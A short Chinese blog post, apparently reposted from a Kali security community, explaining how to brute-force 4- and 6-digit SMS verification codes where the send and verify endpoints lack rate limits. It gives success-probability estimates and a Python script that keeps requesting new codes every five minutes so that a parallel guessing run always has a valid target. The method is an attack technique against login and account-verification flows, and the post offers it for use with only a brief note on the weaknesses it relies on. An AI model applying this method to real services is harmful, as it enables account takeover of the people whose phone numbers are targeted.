四位和六位短信验证码爆破方法比较
Posted Kali研究社区KaliStudy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了四位和六位短信验证码爆破方法比较相关的知识,希望对你有一定的参考价值。
0x01 前提
1、短信发送接口可以频繁调用
2、短信存在有效期限制,如5分钟过期
3、短信验证接口可重复调用
0x02 四位短信验证码爆破
一共有9999种可能,因此遍历就可以,不多做介绍。
0x03 六位短信验证码爆破
一共999999种可能,在5分钟内遍历999999次,基本是不可能的,这里需要高性能服务器,或者多台低性能服务器。
这里介绍个小技巧
一个脚本调用短信发送接口,每5分钟发送一条新验证码,保证每时每刻都存在有效的验证码。
另一个脚本(或使用burp intruder),随机爆破6位验证码。
我们计算下爆破成功的概率:
假如5分钟可以发送1W个请求,就有1%的概率在5分钟内成功。
如果连续爆破120分钟,成功概率是24%。
代码示例
import requests
import time,datetime
def send():
burp0_url = "http://www.xxx.com"
burp0_headers = {"Accept": "application/json, text/plain, */*", "Origin": "http://www.xxx.com", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/75.0.3770.142 Safari/537.36", "Content-Type": "application/json", "Referer": "http://www.xxx.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7,so;q=0.6,es;q=0.5,zh-TW;q=0.4,pt;q=0.3,ja;q=0.2,mt;q=0.1,lb;q=0.1", "Connection": "close"}
burp0_json={"mobile": "13100000000", "mobilePrefix": "86"}
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + ": " + resp.text)
if __name__ == '__main__':
while(True):
send()
time.sleep(300)
以上是关于四位和六位短信验证码爆破方法比较的主要内容,如果未能解决你的问题,请参考以下文章